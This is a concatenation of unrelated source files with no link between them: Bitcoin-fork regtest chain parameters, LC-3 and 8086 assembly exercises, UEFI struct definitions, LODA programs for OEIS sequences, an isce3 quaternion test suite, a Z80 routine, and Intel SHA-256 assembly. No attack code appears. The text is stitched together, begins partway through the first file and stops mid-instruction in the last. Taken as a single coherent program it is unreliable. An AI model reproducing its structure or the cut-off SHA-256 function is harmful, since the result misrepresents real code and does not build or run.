consensus.vDeployments[Consensus::DEPLOYMENT_CSV].nStartTime = 0; consensus.vDeployments[Consensus::DEPLOYMENT_CSV].nTimeout = 999999999999ULL; consensus.vDeployments[Consensus::DEPLOYMENT_SEGWIT].bit = 1; consensus.vDeployments[Consensus::DEPLOYMENT_SEGWIT].nStartTime = 0; consensus.vDeployments[Consensus::DEPLOYMENT_SEGWIT].nTimeout = 999999999999ULL; // The best chain should have at least this much work. consensus.nMinimumChainWork = uint256S("0x00"); pchMessageStart[0] = 0xfa; pchMessageStart[1] = 0xbf; pchMessageStart[2] = 0xb5; pchMessageStart[3] = 0xda; nDefaultPort = 18444; nPruneAfterHeight = 1000; genesis = CreateGenesisBlock(1502698436, 1, 0x207fffff, 1, 50 * COIN); consensus.hashGenesisBlock = genesis.GetHash(); //assert(consensus.hashGenesisBlock == uint256S("0x6dda4c8382ddcea0628ff85388d3352e07324da819973c1cb74495f14fdd3c30")); //assert(genesis.hashMerkleRoot == uint256S("0x1bf4701a5a587ec85023fc2231006b1b07deca798ea924a80620e65baf50e2fa")); vFixedSeeds.clear(); //!< Regtest mode doesn't have any fixed seeds. vSeeds.clear(); //!< Regtest mode doesn't have any DNS seeds. fMiningRequiresPeers = false; fDefaultConsistencyChecks = true; fRequireStandard = false; fMineBlocksOnDemand = true; fTestnetToBeDeprecatedFieldRPC = false; checkpointData = (CCheckpointData){ boost::assign::map_list_of ( 0, uint256S("0f9188f13cb7b2c71f2a335e3a4fc328bf5beb436012afca590b1a11466e2206")), 0, 0, 0 }; base58Prefixes[PUBKEY_ADDRESS] = std::vector<unsigned char>(1,111); base58Prefixes[SCRIPT_ADDRESS] = std::vector<unsigned char>(1,196); base58Prefixes[SECRET_KEY] = std::vector<unsigned char>(1,239); base58Prefixes[EXT_PUBLIC_KEY] = boost::assign::list_of(0x04)(0x35)(0x87)(0xCF).convert_to_container<std::vector<unsigned char> >(); base58Prefixes[EXT_SECRET_KEY] = boost::assign::list_of(0x04)(0x35)(0x83)(0x94).convert_to_container<std::vector<unsigned char> >(); } void UpdateBIP9Parameters(Consensus::DeploymentPos d, int64_t nStartTime, int64_t nTimeout) { consensus.vDeployments[d].nStartTime = nStartTime; consensus.vDeployments[d].nTimeout = nTimeout; } }; static CRegTestParams regTestParams; static CChainParams *pCurrentParams = 0; const CChainParams &Params() { assert(pCurrentParams); return *pCurrentParams; } CChainParams& Params(const std::string& chain) { if (chain == CBaseChainParams::MAIN) return mainParams; else if (chain == CBaseChainParams::TESTNET) return testNetParams; else if (chain == CBaseChainParams::REGTEST) return regTestParams; else throw std::runtime_error(strprintf("%s: Unknown chain %s.", __func__, chain)); } void SelectParams(const std::string& network) { SelectBaseParams(network); pCurrentParams = &Params(network); } void UpdateRegtestBIP9Parameters(Consensus::DeploymentPos d, int64_t nStartTime, int64_t nTimeout) { regTestParams.UpdateBIP9Parameters(d, nStartTime, nTimeout); }
.ORIG x3000 JSR INPUT ADD R3, R0, #0 ; copy Input to R3 JSR INPUT ADD R4, R0, #0 ; copy Input to R4 JSR MULTIP HALT INPUT ADD R4, R7, #0 IN ; read a character from console (and store it in R0) LD R1, O ADD R0, R0, R1 ; R0=int(IN) ADD R7, R4, #0 ; Copy back R4 to R7 RET O .FILL #-48 MULTIP AND R5, R5, #0 ; empty R5 Loop ADD R5, R5, R3 ; R5=X+X ADD R4, R4, #-1 ; R4=R4-1 BRp Loop RET .END
SECTION .data msg: db "HelloWorld!", 0x0a len: equ $-msg SECTION .text global _main _main: mov rax,0x2000004 ;0x2000004 表示 syscall 调用号 write mov rdi,1 ;表示控制台输出 mov rsi,msg ;syscall 调用会到 rsi 来获取字符 mov rdx,len ;字符串长度 syscall mov rax,0x2000001 ;0x2000001 表示退出 syscall mov rdi,0 syscall
; Taken from https://hackerpulp.com/os/os-development-windows-2-booting-64-bit-kernel-uefi/ ; ; the UEFI definitions we use in our application ; see http://www.uefi.org/sites/default/files/resources/UEFI Spec 2_7_A Sept 6.pdf#G45.1342862 EFI_SUCCESS equ 0 EFI_LOAD_ERROR equ 0x8000000000000001 ; 9223372036854775809 EFI_INVALID_PARAMETER equ 0x8000000000000002 ; 9223372036854775810 EFI_UNSUPPORTED equ 0x8000000000000003 ; 9223372036854775811 EFI_BAD_BUFFER_SIZE equ 0x8000000000000004 ; 9223372036854775812 EFI_BUFFER_TOO_SMALL equ 0x8000000000000005 ; 9223372036854775813 EFI_NOT_READY equ 0x8000000000000006 ; 9223372036854775814 EFI_NOT_FOUND equ 0x8000000000000014 ; 9223372036854775828 ; see http://www.uefi.org/sites/default/files/resources/UEFI Spec 2_7_A Sept 6.pdf#G8.1001773 EFI_SYSTEM_TABLE_SIGNATURE equ 0x5453595320494249 ; see http://www.uefi.org/sites/default/files/resources/UEFI Spec 2_7_A Sept 6.pdf#G16.1018812 EFI_GRAPHICS_OUTPUT_PROTOCOL_GUID db 0xde, 0xa9, 0x42, 0x90, 0xdc, 0x23, 0x38, 0x4a db 0x96, 0xfb, 0x7a, 0xde, 0xd0, 0x80, 0x51, 0x6a EVT_TIMER equ 0x80000000 EVT_RUNTIME equ 0x40000000 EVT_NOTIFY_WAIT equ 0x00000100 EVT_NOTIFY_SIGNAL equ 0x00000200 EVT_SIGNAL_EXIT_BOOT_SERVICES equ 0x00000201 EVT_SIGNAL_VIRTUAL_ADDRESS_CHANGE equ 0x60000202 TPL_APPLICATION equ 4 TPL_CALLBACK equ 8 TPL_NOTIFY equ 16 TPL_HIGH_LEVEL equ 31 TimerCancel equ 0 TimerPeriodic equ 1 TimerRelative equ 2 ; the UEFI data types with natural alignment set ; see http://www.uefi.org/sites/default/files/resources/UEFI Spec 2_7_A Sept 6.pdf#G6.999718 %macro UINTN 0 RESQ 1 alignb 8 %endmacro %macro UINT8 0 RESB 1 alignb 1 %endmacro %macro UINT16 0 RESW 1 alignb 2 %endmacro %macro UINT32 0 RESD 1 alignb 4 %endmacro %macro UINT64 0 RESQ 1 alignb 8 %endmacro %macro INT16 0 RESW 1 alignb 2 %endmacro %macro EFI_HANDLE 0 RESQ 1 alignb 8 %endmacro %macro POINTER 0 RESQ 1 alignb 8 %endmacro ; see http://www.uefi.org/sites/default/files/resources/UEFI Spec 2_7_A Sept 6.pdf#G8.1001729 struc EFI_TABLE_HEADER .Signature UINT64 .Revision UINT32 .HeaderSize UINT32 .CRC32 UINT32 .Reserved UINT32 endstruc ; see http://www.uefi.org/sites/default/files/resources/UEFI Spec 2_7_A Sept 6.pdf#G8.1001773 struc EFI_SYSTEM_TABLE .Hdr RESB EFI_TABLE_HEADER_size .FirmwareVendor POINTER .FirmwareRevision UINT32 .ConsoleInHandle EFI_HANDLE .ConIn POINTER .ConsoleOutHandle EFI_HANDLE .ConOut POINTER .StandardErrorHandle EFI_HANDLE .StdErr POINTER .RuntimeServices POINTER .BootServices POINTER .NumberOfTableEntries UINTN .ConfigurationTable POINTER endstruc ; see http://www.uefi.org/sites/default/files/resources/UEFI Spec 2_7_A Sept 6.pdf#G16.1016807 struc EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL .Reset POINTER .OutputString POINTER .TestString POINTER .QueryMode POINTER .SetMode POINTER .SetAttribute POINTER .ClearScreen POINTER .SetCursorPosition POINTER .EnableCursor POINTER .Mode POINTER endstruc ; see http://www.uefi.org/sites/default/files/resources/UEFI Spec 2_7_A Sept 6.pdf#G8.1001843 struc EFI_BOOT_SERVICES .Hdr RESB EFI_TABLE_HEADER_size .RaiseTPL POINTER .RestoreTPL POINTER .AllocatePages POINTER .FreePages POINTER .GetMemoryMap POINTER .AllocatePool POINTER .FreePool POINTER .CreateEvent POINTER .SetTimer POINTER .WaitForEvent POINTER .SignalEvent POINTER .CloseEvent POINTER .CheckEvent POINTER .InstallProtocolInterface POINTER .ReinstallProtocolInterface POINTER .UninstallProtocolInterface POINTER .HandleProtocol POINTER .Reserved POINTER .RegisterProtocolNotify POINTER .LocateHandle POINTER .LocateDevicePath POINTER .InstallConfigurationTable POINTER .LoadImage POINTER .StartImage POINTER .Exit POINTER .UnloadImage POINTER .ExitBootServices POINTER .GetNextMonotonicCount POINTER .Stall POINTER .SetWatchdogTimer POINTER .ConnectController POINTER .DisconnectController POINTER .OpenProtocol POINTER .CloseProtocol POINTER .OpenProtocolInformation POINTER .ProtocolsPerHandle POINTER .LocateHandleBuffer POINTER .LocateProtocol POINTER .InstallMultipleProtocolInterfaces POINTER .UninstallMultipleProtocolInterfaces POINTER .CalculateCrc32 POINTER .CopyMem POINTER .SetMem POINTER .CreateEventEx POINTER endstruc ; see http://www.uefi.org/sites/default/files/resources/UEFI Spec 2_7_A Sept 6.pdf#G8.1002011 struc EFI_RUNTIME_SERVICES .Hdr RESB EFI_TABLE_HEADER_size .GetTime POINTER .SetTime POINTER .GetWakeupTime POINTER .SetWakeupTime POINTER .SetVirtualAddressMap POINTER .ConvertPointer POINTER .GetVariable POINTER .GetNextVariableName POINTER .SetVariable POINTER .GetNextHighMonotonicCount POINTER .ResetSystem POINTER .UpdateCapsule POINTER .QueryCapsuleCapabilities POINTER .QueryVariableInfo POINTER endstruc ; see http://www.uefi.org/sites/default/files/resources/UEFI Spec 2_7_A Sept 6.pdf#G16.1018812 struc EFI_GRAPHICS_OUTPUT_PROTOCOL .QueryMode POINTER .SetMode POINTER .Blt POINTER .Mode POINTER endstruc ; see Errata A page 494 struc EFI_GRAPHICS_OUTPUT_PROTOCOL_MODE .MaxMode UINT32 .Mode UINT32 .Info POINTER .SizeOfInfo UINTN .FrameBufferBase UINT64 .FrameBufferSize UINTN endstruc ; see http://www.uefi.org/sites/default/files/resources/UEFI Spec 2_7_A Sept 6.pdf#G11.1004788 ; the Related Definitions section struc EFI_MEMORY_DESCRIPTOR .Type UINT32 .PhysicalStart POINTER .VirtualStart POINTER .NumberOfPages UINT64 .Attribute UINT64 endstruc struc EFI_TIME .Year UINT16 ; 1900 – 9999 .Month UINT8 ; 1 – 12 .Day UINT8 ; 1 – 31 .Hour UINT8 ; 0 – 23 .Minute UINT8 ; 0 – 59 .Second UINT8 ; 0 – 59 .Pad1 UINT8 .Nanosecond UINT32 ; 0 – 999,999,999 .TimeZone INT16 ; -1440 to 1440 or 2047 .Daylight UINT8 .Pad2 UINT8 endstruc
#include <ciso646> #include <array> #include <filesystem> #include <fstream> #include <iostream.hpp> // <iostream> + nl, sp etc. defined... #include <iterator> #include <list> #include <map> #include <random> #include <string> #include <type_traits> #include <vector> namespace fs = std::experimental::filesystem; #include <autotimer.hpp> #ifndef __AVX2__ #define __AVX2__ 1 #endif #include <integer_utils.hpp> #include <immintrin.h> int main ( ) { iu::xoroshiro4x128plusavx gen ( 123456 ); std::cout << gen ( ) << nl; std::cout << gen ( ) << nl; std::cout << gen ( ) << nl; std::cout << gen ( ) << nl; std::cout << gen ( ) << nl; std::cout << gen ( ) << nl; std::cout << gen ( ) << nl; std::cout << gen ( ) << nl; return 0; }
; A286357: One more than the exponent of the highest power of 2 dividing sigma(n): a(n) = A001511(A000203(n)). ; 1,1,3,1,2,3,4,1,1,2,3,3,2,4,4,1,2,1,3,2,6,3,4,3,1,2,4,4,2,4,6,1,5,2,5,1,2,3,4,2,2,6,3,3,2,4,5,3,1,1,4,2,2,4,4,4,5,2,3,4,2,6,4,1,3,5,3,2,6,5,4,1,2,2,3,3,6,4,5,2,1,2,3,6,3,3,4,3,2,2,5,4,8,5,4,3,2,1,3,1 seq $0,203 ; a(n) = sigma(n), the sum of the divisors of n. Also called sigma_1(n). lpb $0 dif $0,2 add $1,1 lpe add $1,1 mov $0,$1
#include "template.hpp" int main() { int a, b; cin >> a >> b; cout << (a - (a > b ? 1 : 0)) << endl; }
// test suite for Quaternion class #include <cmath> #include <vector> #include <Eigen/Dense> #include <Eigen/Geometry> #include <gtest/gtest.h> #include <isce3/core/DenseMatrix.h> #include <isce3/core/EulerAngles.h> #include <isce3/core/Quaternion.h> #include <isce3/core/Vector.h> using namespace isce3::core; struct QuatEulerTest : public ::testing::Test { void SetUp() override { // clang-format off sc_pos << -2434573.80388191110, -4820642.06528653484, 4646722.94036952127; sc_vel << 522.99592536068, 5107.80853161647, 5558.15620986960; rot_mat << 0.0 , 0.99987663, -0.01570732, -0.79863551, -0.0094529 , -0.60174078, -0.60181502, 0.01254442, 0.79853698; quat_ant2ecf << 0.14889715185, 0.02930644114, -0.90605724862, -0.39500763650; ypr_ant2tcn << -90.06934003*d2r, 0.78478177*d2r, 36.99994432*d2r; // clang-format on } // common vars const double d2r {M_PI / 180.0}; const double r2d {1.0 / d2r}; const double abs_err {1e-10}; const double yaw {-0.9 * d2r}, pitch {0.06 * d2r}, roll {0.15 * d2r}; const double mb_ang_deg {37.0}; const double squint_ang_deg {-0.9}; Vec3 sc_pos, sc_vel; Mat3 rot_mat; Vec4 quat_ant2ecf; Vec3 ypr_ant2tcn; }; TEST_F(QuatEulerTest, EulerBasicConstruct) { auto elr = EulerAngles(yaw, pitch, roll); ASSERT_NEAR(elr.yaw(), yaw, abs_err) << "Wrong Yaw for Euler obj"; ASSERT_NEAR(elr.pitch(), pitch, abs_err) << "Wrong Pitch for Euler obj"; ASSERT_NEAR(elr.roll(), roll, abs_err) << "Wrong Roll for Euler obj"; } TEST_F(QuatEulerTest, QuatConstructMethod) { //// Constructors // from non unity quaternion vector Vec4 auto uq_v4 = Quaternion(Vec4(2.0 * quat_ant2ecf)); EXPECT_NEAR(uq_v4.norm(), 1.0, abs_err) << "Quat from Vec4 is not normalied!"; EXPECT_NEAR((quat_ant2ecf.tail(3) - uq_v4.vec()).norm(), 0.0, abs_err) << "Imag/vec part of Quat from Vec4 is not correct!"; EXPECT_NEAR(std::abs(quat_ant2ecf(0) - uq_v4.w()), 0.0, abs_err) << "Real/scalar part of Quat from Vec4 is not correct!"; // from non-unity 3-D vector Vec3 auto uq_v3 = Quaternion(sc_pos); EXPECT_NEAR(std::abs(uq_v3.w()), 0.0, abs_err) << "Real/scalar part of Quat from Vec3 is wrong"; EXPECT_NEAR((uq_v3.vec() - sc_pos.normalized()).norm(), 0.0, abs_err) << "Imag/Vec part of Quat from Vec3 is wrong"; // from unitary rotmat , Mat3 auto uq_mat3 = Quaternion(rot_mat); EXPECT_NEAR((uq_mat3.toRotationMatrix() - rot_mat).cwiseAbs().maxCoeff(), 0.0, 1e-8) << "Quat from rotation matrix and back fails!"; // from YPR auto uq_yaw = Quaternion(Eigen::AngleAxisd(yaw, Vec3::UnitZ())); auto uq_pitch = Quaternion(Eigen::AngleAxisd(pitch, Vec3::UnitY())); auto uq_roll = Quaternion(Eigen::AngleAxisd(roll, Vec3::UnitX())); auto uq_ypr = Quaternion(yaw, pitch, roll); ASSERT_TRUE(uq_ypr.isApprox(uq_yaw * uq_pitch * uq_roll)) << "Quat from YPR must be the same as AngleAxis products " "Yaw*Pitch*Roll"; // from Euler object auto uq_elr = Quaternion(EulerAngles(yaw, pitch, roll)); EXPECT_TRUE(uq_ypr.isApprox(uq_elr)) << "Quat from YPR must be equal to Quat from EulerAngles"; // from angle and 3-D vector auto uq_angaxis = Quaternion(yaw, Vec3(2.0 * Vec3::UnitZ())); EXPECT_TRUE(uq_angaxis.isApprox(uq_yaw)) << "Quat from angle Yaw and scaled Z axis shall be Quat from " "AngleAxis for yaw"; //// methods // to YPR auto ypr_vec = uq_ypr.toYPR(); EXPECT_NEAR(ypr_vec(0), yaw, abs_err) << "Wrong yaw angle!"; EXPECT_NEAR(ypr_vec(1), pitch, abs_err) << "Wrong pitch angle!"; EXPECT_NEAR(ypr_vec(2), roll, abs_err) << "Wrong roll angle!"; // to isce3 EulerAngle object auto elr_obj = uq_ypr.toEulerAngles(); EXPECT_NEAR(elr_obj.yaw(), yaw, abs_err) << "Wrong Yaw angle for EulerAngles Obj"; EXPECT_NEAR(elr_obj.pitch(), pitch, abs_err) << "Wrong Pitch angle for EulerAngles Obj"; EXPECT_NEAR(elr_obj.roll(), roll, abs_err) << "Wrong Roll angle for EulerAngles Obj"; // to Eigen AngleAxis object auto aa_obj = uq_angaxis.toAngleAxis(); EXPECT_NEAR(std::abs(aa_obj.angle()), std::abs(yaw), abs_err) << "Angle must be +/-Yaw"; EXPECT_NEAR( (aa_obj.axis().cwiseAbs() - Vec3::UnitZ()).cwiseAbs().maxCoeff(), 0.0, abs_err) << "Axis must be +/-Z axis!"; // a practical SAR example via Rotatation of Vec3 in ECEF auto uq_ant2ecf = Quaternion(quat_ant2ecf); auto ant_ecf = uq_ant2ecf.rotate(Vec3::UnitZ()); Vec3 center_ecf {-sc_pos.normalized()}; double mb_ang {r2d * std::acos(center_ecf.dot(ant_ecf))}; EXPECT_NEAR(mb_ang, mb_ang_deg, 1e-1) << "Wrong Geocentric MB angle!"; double squint_ang {r2d * std::asin(ant_ecf.dot(sc_vel.normalized()))}; EXPECT_NEAR(squint_ang, squint_ang_deg, 1e-2) << "Wrong Squint angle"; } TEST_F(QuatEulerTest, EulerConstructMethod) { //// Constructors const auto quat_ypr = Quaternion(yaw, pitch, roll); const Mat3 matrot {quat_ypr.toRotationMatrix()}; // from rotation mat auto elr_rotmat = EulerAngles(matrot); EXPECT_NEAR(elr_rotmat.yaw(), yaw, abs_err) << "Wrong Euler yaw angle from rotmat"; EXPECT_NEAR(elr_rotmat.pitch(), pitch, abs_err) << "Wrong Euler pitch angle from rotmat"; EXPECT_NEAR(elr_rotmat.roll(), roll, abs_err) << "Wrong Euler roll angle from rotmat"; // from quaternion auto elr_quat = EulerAngles(quat_ypr); EXPECT_NEAR(elr_quat.yaw(), yaw, abs_err) << "Wrong Euler yaw angle from quat"; EXPECT_NEAR(elr_quat.pitch(), pitch, abs_err) << "Wrong Euler pitch angle from quat"; EXPECT_NEAR(elr_quat.roll(), roll, abs_err) << "Wrong Euler roll angle from quat"; //// Methods // toRotationMatrix auto rotm = elr_quat.toRotationMatrix(); EXPECT_NEAR((rotm - matrot).cwiseAbs().maxCoeff(), 0.0, abs_err) << "Wrong rotmat from Euler object!"; // isApprox auto elr_other = EulerAngles( elr_quat.yaw() + abs_err, elr_quat.pitch(), elr_quat.roll()); EXPECT_FALSE(elr_other.isApprox(elr_quat, abs_err)) << "Two Euler angles must not be equal!"; EXPECT_TRUE(elr_other.isApprox(elr_quat)) << "Two Euler angles must be equal!"; // rotate auto elr_ant2tcn = EulerAngles(ypr_ant2tcn(0), ypr_ant2tcn(1), ypr_ant2tcn(2)); auto ant_tcn = elr_ant2tcn.rotate(Vec3::UnitZ()); EXPECT_NEAR(r2d * std::acos(ant_tcn(2)), mb_ang_deg, 1e-2) << "Wrong Geodetic MB angle for Euler rotate!"; // toQuaternion auto quat_elr = elr_quat.toQuaternion(); EXPECT_TRUE(quat_elr.isApprox(quat_ypr, abs_err)) << "Back and forth conversion between Euler and Quat fails"; // in-place addition/subtraction auto elr_copy = EulerAngles(0.0, 0.0, 0.0); elr_copy += elr_quat; EXPECT_NEAR(elr_copy.yaw(), yaw, abs_err) << "Wrong Euler yaw angle after in-place add"; EXPECT_NEAR(elr_copy.pitch(), pitch, abs_err) << "Wrong Euler pitch angle after in-place add"; EXPECT_NEAR(elr_copy.roll(), roll, abs_err) << "Wrong Euler roll angle after in-place add"; elr_copy -= elr_quat; EXPECT_NEAR(elr_copy.yaw(), 0.0, abs_err) << "Wrong Euler yaw angle after in-place sub"; EXPECT_NEAR(elr_copy.pitch(), 0.0, abs_err) << "Wrong Euler pitch angle after in-place sub"; EXPECT_NEAR(elr_copy.roll(), 0.0, abs_err) << "Wrong Euler roll angle after in-place sub"; // in-place multiplication/concatenation elr_copy *= elr_quat; EXPECT_NEAR(elr_copy.yaw(), yaw, abs_err) << "Wrong Euler yaw angle after in-place mul"; EXPECT_NEAR(elr_copy.pitch(), pitch, abs_err) << "Wrong Euler pitch angle after in-place mul"; EXPECT_NEAR(elr_copy.roll(), roll, abs_err) << "Wrong Euler roll angle after in-place mul"; // binary add/subtract operators auto elr_add = elr_quat + elr_quat; EXPECT_NEAR(elr_add.yaw(), 2.0 * yaw, abs_err) << "Wrong Euler yaw angle after binary add"; EXPECT_NEAR(elr_add.pitch(), 2.0 * pitch, abs_err) << "Wrong Euler pitch angle after binary add"; EXPECT_NEAR(elr_add.roll(), 2.0 * roll, abs_err) << "Wrong Euler roll angle after binary add"; elr_add = elr_quat - elr_quat; EXPECT_NEAR(elr_add.yaw(), 0.0, abs_err) << "Wrong Euler yaw angle after binary sub"; EXPECT_NEAR(elr_add.pitch(), 0.0, abs_err) << "Wrong Euler pitch angle after binary sub"; EXPECT_NEAR(elr_add.roll(), 0.0, abs_err) << "Wrong Euler roll angle after binary sub"; // binary multiplication/concatenation // For simplicity, an approximation is used for validation based on small // Euler angles (< 4.0 deg) auto elr_mul = (elr_quat + elr_quat) * elr_quat; EXPECT_NEAR(elr_mul.yaw(), 3.0 * yaw, 1e-4) << "Wrong Euler yaw angle after binary mul"; EXPECT_NEAR(elr_mul.pitch(), 3.0 * pitch, 1e-4) << "Wrong Euler pitch angle after binary mul"; EXPECT_NEAR(elr_mul.roll(), 3.0 * roll, 1e-4) << "Wrong Euler roll angle after binary mul"; } int main(int argc, char** argv) { ::testing::InitGoogleTest(&argc, argv); return RUN_ALL_TESTS(); }
; AtieDOS 2.10 System Calls Linker ; Copyright (c) 2020 AtieSoftware. ; See LICENSE in root folder %include "syscalls/commands.asm" %include "syscalls/keyboard.asm" %include "syscalls/print.asm" %include "syscalls/screen.asm" %include "syscalls/strings.asm"
.MODEL small .DATA strlen db ? msg1 db "Enter array elements:$" msg2 db " Sorted array:$" num dw 10h ? .CODE .STARTUP ;Print message1 mov dx,offset msg1 mov ah,09h int 21h ;Input array elements (Ex:235701269$) mov dx,offset num mov ah,0Ah int 21h ;Finding length of array mov si,offset num inc si mov bh,[si] mov strlen,bh dec strlen sort: mov si,offset strlen mov cl,[si] dec cl next1: mov ch, cl mov si,offset num inc si inc si next2: mov al,[si] inc si cmp al,[si] ;Change jc to jnc to sort in descending order jc next3 xchg al,[si] dec si xchg al,[si] inc si next3: dec ch jnz next2 dec cl jnz next1 ;Print message2 mov dx,offset msg2 mov ah,09h int 21h ;Print Sorted array mov dx,offset num+2 mov ah,09h int 21h .EXIT end
; A084221: a(n+2) = 4*a(n), with a(0)=1, a(1)=3. ; 1,3,4,12,16,48,64,192,256,768,1024,3072,4096,12288,16384,49152,65536,196608,262144,786432,1048576,3145728,4194304,12582912,16777216,50331648,67108864,201326592,268435456,805306368,1073741824,3221225472,4294967296,12884901888,17179869184,51539607552,68719476736,206158430208,274877906944,824633720832,1099511627776,3298534883328,4398046511104,13194139533312,17592186044416,52776558133248,70368744177664,211106232532992,281474976710656,844424930131968,1125899906842624,3377699720527872,4503599627370496,13510798882111488,18014398509481984,54043195528445952,72057594037927936,216172782113783808,288230376151711744,864691128455135232,1152921504606846976,3458764513820540928,4611686018427387904,13835058055282163712,18446744073709551616,55340232221128654848,73786976294838206464,221360928884514619392,295147905179352825856,885443715538058477568,1180591620717411303424,3541774862152233910272,4722366482869645213696,14167099448608935641088,18889465931478580854784,56668397794435742564352,75557863725914323419136,226673591177742970257408,302231454903657293676544,906694364710971881029632,1208925819614629174706176,3626777458843887524118528,4835703278458516698824704,14507109835375550096474112,19342813113834066795298816,58028439341502200385896448,77371252455336267181195264,232113757366008801543585792,309485009821345068724781056,928455029464035206174343168,1237940039285380274899124224,3713820117856140824697372672,4951760157141521099596496896,14855280471424563298789490688,19807040628566084398385987584,59421121885698253195157962752,79228162514264337593543950336,237684487542793012780631851008,316912650057057350374175801344,950737950171172051122527404032 mov $1,2 pow $1,$0 mov $2,$0 mod $2,2 add $2,2 mul $1,$2 div $1,2 mov $0,$1
module DEGBUG grid: ld hl,#5800 ld bc,(%01000111 * 256) + %01000000 .loop: ld (hl),b inc hl ld a,l and #1f jr z,.loop ld a,b xor c ld b,a ld a,h cp #5b jr c,.loop ret endmodule
############################################################################### # Copyright 2019 Intel Corporation # All Rights Reserved. # # If this software was obtained under the Intel Simplified Software License, # the following terms apply: # # The source code, information and material ("Material") contained herein is # owned by Intel Corporation or its suppliers or licensors, and title to such # Material remains with Intel Corporation or its suppliers or licensors. The # Material contains proprietary information of Intel or its suppliers and # licensors. The Material is protected by worldwide copyright laws and treaty # provisions. No part of the Material may be used, copied, reproduced, # modified, published, uploaded, posted, transmitted, distributed or disclosed # in any way without Intel's prior express written permission. No license under # any patent, copyright or other intellectual property rights in the Material # is granted to or conferred upon you, either expressly, by implication, # inducement, estoppel or otherwise. Any license under such intellectual # property rights must be express and approved by Intel in writing. # # Unless otherwise agreed by Intel in writing, you may not remove or alter this # notice or any other notice embedded in Materials by Intel or Intel's # suppliers or licensors in any way. # # # If this software was obtained under the Apache License, Version 2.0 (the # "License"), the following terms apply: # # You may not use this file except in compliance with the License. You may # obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 # # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # # See the License for the specific language governing permissions and # limitations under the License. ############################################################################### .text .p2align 4, 0x90 SWP_BYTE: pByteSwp: .byte 3,2,1,0, 7,6,5,4, 11,10,9,8, 15,14,13,12 .p2align 4, 0x90 .globl _p8_UpdateSHA256 _p8_UpdateSHA256: push %ebp mov %esp, %ebp push %ebx push %esi push %edi sub $(52), %esp .Lsha256_block_loopgas_1: movl (8)(%ebp), %eax movdqu (%eax), %xmm0 movdqu (16)(%eax), %xmm1 movdqu %xmm0, (%esp) movdqu %xmm1, (16)(%esp) call .L__0000gas_1 .L__0000gas_1: pop %eax sub $(.L__0000gas_1-SWP_BYTE), %eax movdqa ((pByteSwp-SWP_BYTE))(%eax), %xmm6 movl (12)(%ebp), %eax movl (20)(%ebp), %ebx movdqu (%eax), %xmm0 movdqu (16)(%eax), %xmm1 movdqu (32)(%eax), %xmm2 movdqu (48)(%eax), %xmm3 mov (16)(%esp), %eax mov (%esp), %edx pshufb %xmm6, %xmm0 movdqa %xmm0, %xmm7 paddd (%ebx), %xmm7 movdqu %xmm7, (32)(%esp) mov %eax, %esi ror $(6), %esi mov %eax, %ecx ror $(11), %ecx xor %ecx, %esi ror $(14), %ecx xor %ecx, %esi mov (20)(%esp), %edi xor (24)(%esp), %edi and %eax, %edi xor (24)(%esp), %edi mov (28)(%esp), %eax add %esi, %eax add %edi, %eax addl (32)(%esp), %eax movl (4)(%esp), %esi movl (8)(%esp), %ecx mov %edx, %edi xor %ecx, %edi xor %esi, %ecx and %ecx, %edi xor %esi, %ecx xor %ecx, %edi mov %edx, %esi ror $(2), %esi mov %edx, %ecx ror $(13), %ecx xor %ecx, %esi ror $(9), %ecx xor %ecx, %esi lea (%edi,%esi), %edx add %eax, %edx add (12)(%esp), %eax mov %edx, (28)(%esp) mov %eax, (12)(%esp) mov %eax, %esi ror $(6), %esi mov %eax, %ecx ror $(11), %ecx xor %ecx, %esi ror $(14), %ecx xor %ecx, %esi mov (16)(%esp), %edi xor (20)(%esp), %edi and %eax, %edi xor (20)(%esp), %edi mov (24)(%esp), %eax add %esi, %eax add %edi, %eax addl (36)(%esp), %eax movl (%esp), %esi movl (4)(%esp), %ecx mov %edx, %edi xor %ecx, %edi xor %esi, %ecx and %ecx, %edi xor %esi, %ecx xor %ecx, %edi mov %edx, %esi ror $(2), %esi mov %edx, %ecx ror $(13), %ecx xor %ecx, %esi ror $(9), %ecx xor %ecx, %esi lea (%edi,%esi), %edx add %eax, %edx add (8)(%esp), %eax mov %edx, (24)(%esp) mov %eax, (8)(%esp) mov %eax, %esi ror $(6), %esi mov %eax, %ecx ror $(11), %ecx xor %ecx, %esi ror $(14), %ecx xor %ecx, %esi mov (12)(%esp), %edi xor (16)(%esp), %edi and %eax, %edi xor (16)(%esp), %edi mov (20)(%esp), %eax add %esi, %eax add %edi, %eax addl (40)(%esp), %eax movl (28)(%esp), %esi movl (%esp), %ecx mov %edx, %edi xor %ecx, %edi xor %esi, %ecx and %ecx, %edi xor %esi, %ecx xor %ecx, %edi mov %edx, %esi ror $(2), %esi mov %edx, %ecx ror $(13), %ecx xor %ecx, %esi ror $(9), %ecx xor %ecx, %esi lea (%edi,%esi), %edx add %eax, %edx add (4)(%esp), %eax mov %edx, (20)(%esp) mov %eax, (4)(%esp) mov %eax, %esi ror $(6), %esi mov %eax, %ecx ror $(11), %ecx xor %ecx, %esi ror $(14), %ecx xor %ecx, %esi mov (8)(%esp), %edi xor (12)(%esp), %edi and %eax, %edi xor (12)(%esp), %edi mov (16)(%esp), %eax add %esi, %eax add %edi, %eax addl (44)(%esp), %eax movl (24)(%esp), %esi movl (28)(%esp), %ecx mov %edx, %edi xor %ecx, %edi xor %esi, %ecx and %ecx, %edi xor %esi, %ecx xor %ecx, %edi mov %edx, %esi ror $(2), %esi mov %edx, %ecx ror $(13), %ecx xor %ecx, %esi ror $(9), %ecx xor %ecx, %esi lea (%edi,%esi), %edx add %eax, %edx add (%esp), %eax mov %edx, (16)(%esp) mov %eax, (%esp) pshufb %xmm6, %xmm1 movdqa %xmm1, %xmm7 paddd (16)(%ebx), %xmm7 movdqu %xmm7, (32)(%esp) mov %eax, %esi ror $(6), %esi mov %eax, %ecx ror $(11), %ecx xor %ecx, %esi ror $(14), %ecx xor %ecx, %esi mov (4)(%esp), %edi xor (8)(%esp), %edi and %eax, %edi xor (8)(%esp), %edi mov (12)(%esp), %eax add %esi, %eax add %edi, %eax addl (32)(%esp), %eax movl (20)(%esp), %esi movl (24)(%esp), %ecx mov %edx, %edi xor %ecx, %edi xor %esi, %ecx and %ecx, %edi xor %esi, %ecx xor %ecx, %edi mov %edx, %esi ror $(2), %esi mov %edx, %ecx ror $(13), %ecx xor %ecx, %esi ror $(9), 